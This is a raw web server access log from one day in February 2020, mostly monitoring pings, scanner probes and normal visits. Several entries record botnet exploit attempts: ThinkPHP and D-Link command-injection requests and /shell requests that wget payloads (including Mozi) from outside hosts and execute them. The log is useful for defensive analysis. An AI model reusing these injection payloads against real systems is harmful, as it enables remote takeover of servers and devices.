212.91.246.72 - - [08/Feb/2020:13:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.231 - - [08/Feb/2020:13:21:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:13:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.231 - - [08/Feb/2020:13:23:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
208.100.26.231 - - [08/Feb/2020:13:23:23 +0100] "GET /nmaplowercheck1581164603 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.231 - - [08/Feb/2020:13:23:23 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.231 - - [08/Feb/2020:13:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
208.100.26.231 - - [08/Feb/2020:13:23:25 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.231 - - [08/Feb/2020:13:23:25 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.231 - - [08/Feb/2020:13:23:25 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
192.241.233.177 - - [08/Feb/2020:13:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:13:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.5.248.186 - - [08/Feb/2020:13:24:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.228.58.250 - - [08/Feb/2020:13:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:13:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.86 - - [08/Feb/2020:13:28:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.110.51 - - [08/Feb/2020:13:28:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.51.19.235 - - [08/Feb/2020:13:29:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.93.12.253 - - [08/Feb/2020:13:29:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:13:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.84.192.75 - - [08/Feb/2020:13:30:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.12.126.122 - - [08/Feb/2020:13:31:37 +0100] "GET / HTTP/1.1" 200 1229 "http://www.nollendorfplatz.com/schulen/schulen.html" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/604.1"
89.12.126.122 - - [08/Feb/2020:13:31:38 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/604.1"
90.84.192.75 - - [08/Feb/2020:13:31:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.105.30.231 - - [08/Feb/2020:13:33:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.53.92.94 - - [08/Feb/2020:13:33:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
182.68.189.72 - - [08/Feb/2020:13:34:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
34.94.19.57 - - [08/Feb/2020:13:34:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.87.248 - - [08/Feb/2020:13:34:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
81.10.10.164 - - [08/Feb/2020:13:35:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.156.219.164 - - [08/Feb/2020:13:35:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:13:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.87.248 - - [08/Feb/2020:13:36:55 +0100] "GET /nmaplowercheck1581165414 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:13:36:55 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:13:36:55 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:13:36:56 +0100] "GET /nmaplowercheck1581165415 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:13:36:56 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:13:36:56 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:13:36:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.248 - - [08/Feb/2020:13:36:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:13:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.120.196 - - [08/Feb/2020:13:41:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.220.183.240 - - [08/Feb/2020:13:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
201.220.183.240 - - [08/Feb/2020:13:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:13:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [08/Feb/2020:13:51:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.231.158.206 - - [08/Feb/2020:13:52:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [08/Feb/2020:13:53:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.127.133 - - [08/Feb/2020:13:53:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.160.110.48 - - [08/Feb/2020:13:53:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:13:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [08/Feb/2020:13:53:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [08/Feb/2020:13:53:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.91.82.246 - - [08/Feb/2020:13:54:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.107.83 - - [08/Feb/2020:13:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.160.110.48 - - [08/Feb/2020:13:54:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:13:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.148.231 - - [08/Feb/2020:13:54:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.170.225.161 - - [08/Feb/2020:14:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.114.95.108 - - [08/Feb/2020:14:06:47 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://116.114.95.108:59449/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:14:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.224.231.236 - - [08/Feb/2020:14:10:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:14:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.50.62 - - [08/Feb/2020:14:10:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
63.143.35.230 - - [08/Feb/2020:14:11:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:14:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:14:12:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:14:12:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
80.104.209.223 - - [08/Feb/2020:14:12:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:14:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [08/Feb/2020:14:12:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.17.85 - - [08/Feb/2020:14:15:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:14:17:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:14:17:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:14:17:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:14:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.112.63.121 - - [08/Feb/2020:14:20:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:14:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.193.242.38 - - [08/Feb/2020:14:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:14:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.69.106.103 - - [08/Feb/2020:14:28:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
